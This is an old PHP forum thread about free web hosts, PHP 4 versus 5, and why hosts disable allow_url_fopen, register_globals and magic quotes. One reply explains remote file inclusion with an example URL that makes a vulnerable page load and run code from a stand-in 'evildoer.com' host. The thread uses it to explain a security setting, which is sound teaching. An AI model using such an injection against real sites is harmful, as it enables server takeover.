Jump to content

Recommended Posts

Hi there,

 

I want to know your views although I can pretty much guess what they will be.

 

My present web host only supports PHP version 4.4.2, although they do support Perl too. This means however that after learning PHP 5.1.4 I then had to take a step back over and change to 4.4.2.

 

What are your thoughts on this? am I in the stone age coding in PHP v. 4.4.2? Is it time for a new FREE host?

 

Mel :-\

Link to comment
https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/
Share on other sites

Honestly, I quit using free web hosting services several years ago. The reason is because most free web host only allow limited bandwidth, limited file space, put ads in your website, usually no customer service, have limits on what you can do with PHP, and so on. But if you just want some basic free php web hosting and you are not expecting much traffic or your just using it for testing; just do a Google search for "Free PHP Web Hosting". You should have several free web hosting options that you can choose from. I would just try a few out and see which one worked the best for me; that's just me though.

 

- Good Luck

Thanks for the feedback guys.

 

MadTechie I seen a pattern in the link you sent me, all the hosts that support PHP v.5 or higher (except ATB host) have "allow_url_fopen" turned off, is there a reason for this? And what effect does would this have?

 

Thanks

Mel

 

allow_url_fopen is a secuirty risk (when used incorrectly) only differents it can cause major problems if not filtered,

example

Here’s a simple example of why allow_url_fopen is a problem in the real world.

 

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

 

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

 

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

 

Moral: allow_url_fopen should *always* be off unless you need it.

 

your find you probably won't have

 

allow_url_fopen

CURL

CRON

 

get one with register_globals turned OFF...

magic quotes are a pain.. i think its better to filter myown code than have magicquotes mess it up for me..

Thank you for being so informative MadTechie, with your explanation and a little research into register globals and magic quotes a few gray areas of mine were cleared up.

 

For anyone else at the same level as me when it comes to PHP I found this article very helpful on register globals:

 

      http://en.wikibooks.org/wiki/Programming:PHP:Register_Globals

 

Mel

 

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.